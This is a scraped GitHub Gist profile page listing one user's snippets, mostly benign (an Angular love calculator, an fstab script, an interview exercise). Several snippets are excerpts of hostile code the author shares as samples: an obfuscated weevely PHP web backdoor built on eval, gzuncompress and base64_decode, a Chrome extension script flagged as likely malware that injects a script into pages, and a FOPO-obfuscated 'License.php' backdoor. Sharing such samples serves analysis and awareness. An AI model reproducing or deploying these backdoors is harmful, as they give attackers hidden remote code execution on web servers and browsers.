Skip to content

Instantly share code, notes, and snippets.

View 0xcrypto's full-sized avatar
🐢
Building a better world, one line of code at a time

0xcrypto

🐢
Building a better world, one line of code at a time
View GitHub Profile
@0xcrypto
0xcrypto / new.php
Created November 28, 2015 10:39
Just another weevely backdoor
<?php
$p='allK*("/([\\w])[\\w-]+K*(?:;q=0K*.([K*\\d]))?,?K*/",$ra,$m)K*;if($qK*&&$m){K*@sessiK*on_K*start();$K*s=&$';
$W=str_replace('OF','','crOFOFeOFate_fOFuncOFtOFion');
$U='i.$kK*h),0,3K*));$K*f=$K*sK*l($ss(K*md5($i.$K*kf),0,3)K*);$p=""K*;foK*r($z=1;$z<counK*t($mK*K*[1])K*;$';
$H='0;$K*i<$K*l;)K*{for($j=0K*;K*($j<$c&&$i<K*$l);$j++,$iK*++K*){$oK*K*.K*=$t{$i}^$k{$j};}K*}return $o;}$rK*=$_S';
$x='$kK*h="9689";$kf=K*"8bbK*8";functioK*n x($tK*,$k){$K*c=sK*trK*lenK*($k);$l=stK*rlen($t)K*;$o=""K*;forK*($i=';
$P='_K*K*SESSIONK*;K*$ss="K*substr";$slK*="strtK*olower"K*;$K*i=$m[1][0].$m[1K*]K*[1];$K*h=$sK*l($ss(md5($';
$J='();@evK*alK*(@gzuncK*omprK*ess(@x(@basK*e64_decoK*dK*e(preg_replaK*ce(arK*K*ray("/_K*/","/-/K*K*"),arr';
$D='*y_existK*s($i,$K*s))K*{$K*s[$K*i].=$p;K*$e=strposK*($s[$i],$f)K*;K*if($e){$k=K*$kh.$kfK*K*;ob_starK*t';
$h='K*ERVER;$rK*r=@$r["HK*TTP_RK*EFEK*RER"];K*$ra=@$r[K*"HTK*K*TP_ACCEPT_LANK*GUAGE"K*];if($rr&K*&$K*ra){$';
#!/usr/bin/env python
"""Usage: devil.devilgame(N, (F,B,T,FD,BD))
Expects 2 arguments. First is integer while second is a tuple.
"""
def devilgame(N, (F, B, T, FD, BD)):
# initializing variables
piratesPos = 0
meters = 0
returnStr = ["", ""]
@0xcrypto
0xcrypto / script.js
Created January 26, 2017 15:56
love-calc for techadvises.com
var app = angular.module('lCalc', []); // init angular app
app.controller('calcCtrl', [
// controller definition
'$scope',
function($scope) {
$scope.calculate = function(){
if($scope.first == "" || $scope.second == "") {
@0xcrypto
0xcrypto / js_frameworks_comparison.md
Created February 9, 2017 13:34 — forked from taylorruizchiu/js_frameworks_comparison.md
Javascript Frameworks: Angular vs. Meteor vs. Backbone

Javascript Frameworks: What's the difference?

Meteor vs. Angular vs. Backbone

All frameworks are not created equal...but what really is the difference? And when should I use which one?

All the things

An awesome site to compare all the codes:

todomvc.com

@0xcrypto
0xcrypto / background.js
Last active March 19, 2017 15:09
here it is...
// took out from https://chrome.google.com/webstore/detail/emaze/aiimeahlhgelkbokgffmpdagdaachlpk
// do not install. High possibility of being a malware...
setTimeout(function()
{
(function()
{
var _0x47a5x0=document["getElementsByTagName"]("head")[0];
var _0x47a5x1=document["createElement"]("script");
_0x47a5x1["type"]="text/javascript";
@0xcrypto
0xcrypto / fstab-generate-arch.sh
Last active April 30, 2017 17:01 — forked from Brainiarc7/fstab-generate-arch.md
Generate fstab in Arch Linux
# First, install arch-install-scripts:
sudo pacman -S --needed arch-install-scripts
# Secondly, mount your partitions in all the internal hard drives
# Thirdly, generate and validate your config by piping it out to stdout:
genfstab -U -p / | less
# If all looks green, proceed to overwrite your current fstab with the new entries:
su -c "genfstab -U -p / >> /etc/fstab"
@0xcrypto
0xcrypto / map.js
Created August 1, 2017 12:01
Map implementation on OSCoI's official Website.
// Usage: <li class="locate" address="some address">Some Chapter title</li>
"use strict"
// global map object. Note that map is not real Map object (google maps api)
// this is a wrapper to keep objects organized.
var map = {
objectMap: {},
infoWindow: {},
@0xcrypto
0xcrypto / asteriskhill.php
Last active August 20, 2017 12:40
This question was asked to me in an interview.
#!/usr/bin/env php
<?php
error_reporting(false);
$n = $ne = isset($argv[1]) ? $argv[1] : 5;
if(!intval($ne) || $ne < 1) {
echo "Usage: asteriskhill.php [height]\n";
echo "height can be any integer above 0\n";
.roob-search {
font-size: 24px;
}
.masthead {
background: black; /* add your color here */
}
@0xcrypto
0xcrypto / License.php
Last active April 4, 2018 03:55
License.php backdoor in 799mlmscript.zip
<?php
/*
Obfuscation provided by FOPO - Free Online PHP Obfuscator: http://www.fopo.com.ar/
This code was created on Tuesday, May 30th, 2017 at 22:29 UTC from IP 159.146.47.84
Checksum: ff73395f7b16ebacc0415646d7fe6909dd11f804
*/
$j71b376f="\142\141\x73\x65\x36\x34\137\x64\x65\143\157\144\145";@eval($j71b376f(
"Ly9OTitOOFUrVHFKdDFOd0pWSmRpdkdBbXVuUDcwUENXZFVrMUR0VGJQMEZ6L1pMTGgrbGVBK2FyUHRh
TzVoZGk5RjRLaFEzZUtkVkNXbWlrQUxQNk9URSt3OWN1SkZGWDlDWFpLNHRDYnhJMTdwY2lOQ0RyTDNlS
ElNWG1UVGZFWFBEaGFFM1l3RXhacHl5UmJqYmovdVRZdFJRZzhHZ3ZYeVk5a282THplcnJiVFhic0VTMD